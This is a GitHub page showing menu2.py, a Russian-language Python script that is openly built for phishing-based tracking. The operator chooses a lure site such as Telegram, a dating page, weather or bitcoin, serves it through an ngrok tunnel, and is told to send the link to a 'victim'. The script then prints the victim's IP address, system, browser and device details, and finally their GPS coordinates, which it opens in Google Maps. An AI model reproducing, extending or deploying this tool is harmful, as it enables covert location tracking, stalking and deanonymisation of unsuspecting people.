-
Notifications
You must be signed in to change notification settings - Fork 30
/
menu2.py
executable file
·200 lines (155 loc) · 7.21 KB
/
menu2.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
# by bafomet
import os
import time
import json
import platform
import webbrowser
from pyngrok import ngrok
from utils.banner import show_banner
from subprocess import Popen
from utils.ban import page_25
from utils import COLORS
from api import api
ngrok.set_auth_token = api['ngrok.set_auth_token']
sysname = platform.uname()[0]
stat_file_ip = 0
# Геолокация
def location():
show_banner(clear=True)
print(page_25)
try:
input_loc = input(f"{COLORS.REDL} └──> {COLORS.FIOL}Bafomёd production ──>{COLORS.GNSL} Введите номер сайта: {COLORS.WHSL}")
if input_loc == "1":
temp = "nearyou"
elif input_loc == "2":
temp = "weather"
elif input_loc == "3":
temp = "hotel"
elif input_loc == "4":
temp = "air"
elif input_loc == "5":
temp = "youtube"
elif input_loc == "6":
temp = "postman"
elif input_loc == "7":
temp = "telegram"
elif input_loc == "8":
temp = "prostitynder"
elif input_loc == "9":
temp = "jobs"
elif input_loc == "10":
temp = "bitcoin"
elif input_loc == "11":
temp = "bloger"
elif input_loc == "12":
temp = "coder"
elif input_loc == "13":
temp = "data"
elif input_loc == "14":
temp = "photo"
elif input_loc == "15":
temp = "ngrok"
elif input_loc == "16":
temp = "tynder"
elif input_loc == "17":
temp = "flirt"
elif input_loc == "18":
temp = "tyrizm"
elif input_loc == "19":
temp = "restoran"
elif input_loc == "20":
temp = "taiga_game"
elif input_loc == "21":
temp = "friend"
elif input_loc == "22":
temp = "exchange"
elif input_loc == "23":
temp = "sharing"
elif input_loc == "24":
temp = "amigos"
elif input_loc == "0":
from utils.killing import kill
kill()
else:
print(f'\n{COLORS.REDL} Неверный ввод номера опции ...')
time.sleep(2)
show_banner(clear=True)
return
except:
print("")
return
result_file = open("db/getloc/" + temp + "/result.json", "w")
result_file.write("")
result_file.close()
# ---------------------------------------------------------------
info_file = open("db/getloc/" + temp + "/info.json", "w")
info_file.write("")
info_file.close()
# ---------------------------------------------------------------
def deafult_server():
try:
with open("db/location_log.log", "w") as deafult:
Popen(('php', '-S', 'localhost:8767', '-t', 'db/getloc/' + temp), stdout=deafult, stderr=deafult)
# Block until CTRL-C or some other terminating event
a = ngrok.connect(8767, "http", auth_token=ngrok.set_auth_token)
print(f' {COLORS.REDL}----------------------------------------------------------------------------------\n')
print(
f' {COLORS.OKNL}Функция ловли долбаебов переходящих по ссылкам запущена, выбранный сайт активирован.\n')
print(f"{COLORS.OKNL}" + str(a).replace('"', '').replace("NgrokTunnel:", "").replace("http://", "https://"))
print(f"\n {COLORS.REDL}Отправте ссылку жертве ...")
except KeyboardInterrupt:
print(" Shutting down server.")
ngrok.kill()
return
deafult_server()
# Collect events until released
def info():
global stat_file_ip
if not str(os.stat('db/getloc/' + temp + '/info.json').st_size) == stat_file_ip:
stat_file_ip = str(os.stat('db/getloc/' + temp + '/info.json').st_size)
file_ip = open('db/getloc/' + temp + '/info.json', "r")
i = file_ip.read()
try:
infor = json.loads(i)
for value in infor['dev']:
print(f' {COLORS.REDL}Жертва попалась \n')
print(f" {COLORS.WHSL}IP address жертвы :{COLORS.GNSL} " + value['Os-Ip'])
print(f" {COLORS.WHSL}Операционная система :{COLORS.GNSL} " + value['Os-Name'])
print(f" {COLORS.WHSL}Версия системы :{COLORS.GNSL} " + value['Os-Version'])
print(f" {COLORS.WHSL}Количество ядер :{COLORS.GNSL} " + value['CPU-Core'])
print(f" {COLORS.WHSL}Название браузера :{COLORS.GNSL} " + value['Browser-Name'])
print(f" {COLORS.WHSL}Версия Браузера :{COLORS.GNSL} " + value['Browser-Version'])
print(f" {COLORS.WHSL}Архитектура ЦП :{COLORS.GNSL} " + value['CPU-Architecture'])
print(f" {COLORS.WHSL}Разрешение экрана :{COLORS.GNSL} " + value['Resolution'])
print(f" {COLORS.WHSL}Временная зона :{COLORS.GNSL} " + value['Time-Zone'])
print(f" {COLORS.WHSL}Язык системы :{COLORS.GNSL} " + value['Language'])
file_recv = open("db/getloc/" + temp + "/info.json", "w")
print(f'\n {COLORS.REDL}Отлично, теперь ждем когда цель нажмет на любую кнопку на сайте\n')
file_recv.write("")
file_recv.close()
except:
print("")
def recv_loc():
global stat_file_ip
if not str(os.stat('db/getloc/' + temp + '/result.json').st_size) == stat_file_ip:
stat_file_ip = str(os.stat('db/getloc/' + temp + '/result.json').st_size)
file_ip = open('db/getloc/' + temp + '/result.json', "r")
i = file_ip.read()
try:
infor = json.loads(i)
for value in infor['info']:
print(
f"\n{COLORS.WHSL} Координаты цели:{COLORS.GNSL} " f"Широта - {value['lat']} Долгота - {value['lon']}")
print(f"\n https://www.google.com/maps/place/{value['lat']}+{value['lon']}")
webbrowser.open(f"https://www.google.com/maps/place/{value['lat']}+{value['lon']}")
webbrowser.open(f"https://earth.google.com/web/search/{value['lat']}+{value['lon']}")
print(f"\n {COLORS.FIOL}Сайты с геолокацией открыты")
file_recv = open("db/getloc/" + temp + "/result.json", "w")
file_recv.write("")
file_recv.close()
except:
print("")
while True:
info()
recv_loc()
location()